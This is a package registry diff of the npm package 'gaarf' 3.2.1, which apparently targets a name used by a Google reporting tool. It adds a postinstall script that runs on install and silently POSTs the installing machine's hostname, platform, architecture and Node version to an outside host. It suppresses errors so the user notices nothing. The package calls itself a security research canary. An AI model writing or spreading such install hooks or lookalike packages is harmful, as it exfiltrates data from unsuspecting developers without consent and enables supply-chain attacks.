gaarf 3.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +11 -0
- package/postinstall.js +27 -0
- package/source.txt +1 -0
package/package.json
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "gaarf",
|
|
3
|
+
"version": "3.2.1",
|
|
4
|
+
"scripts": {
|
|
5
|
+
"postinstall": "node postinstall.js"
|
|
6
|
+
},
|
|
7
|
+
"description": "Security research canary for authorized vulnerability testing.",
|
|
8
|
+
"main": "postinstall.js",
|
|
9
|
+
"author": "r00tdaddy",
|
|
10
|
+
"license": "ISC"
|
|
11
|
+
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
// postinstall.js
|
|
2
|
+
const os = require("os");
|
|
3
|
+
const https = require("https");
|
|
4
|
+
|
|
5
|
+
const metadata = JSON.stringify({
|
|
6
|
+
timestamp: new Date().toISOString(),
|
|
7
|
+
pkg: process.env.npm_package_name,
|
|
8
|
+
hostname: os.hostname(),
|
|
9
|
+
platform: process.platform,
|
|
10
|
+
arch: process.arch,
|
|
11
|
+
node: process.version,
|
|
12
|
+
npmEvent: process.env.npm_lifecycle_event
|
|
13
|
+
});
|
|
14
|
+
|
|
15
|
+
const req = https.request({
|
|
16
|
+
hostname: "n8wx863s.instances.poc.jchunt.top",
|
|
17
|
+
path: "/gaarf",
|
|
18
|
+
method: "POST",
|
|
19
|
+
headers: {
|
|
20
|
+
"Content-Type": "application/json",
|
|
21
|
+
"Content-Length": Buffer.byteLength(metadata)
|
|
22
|
+
}
|
|
23
|
+
});
|
|
24
|
+
|
|
25
|
+
req.on("error", () => {}); // Don't interfere with installation.
|
|
26
|
+
req.write(metadata);
|
|
27
|
+
req.end();
|
package/source.txt
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
https://sourcegraph.com/r/github.com/google/ads-api-report-fetcher/-/blob/js/package.json?L6-8
|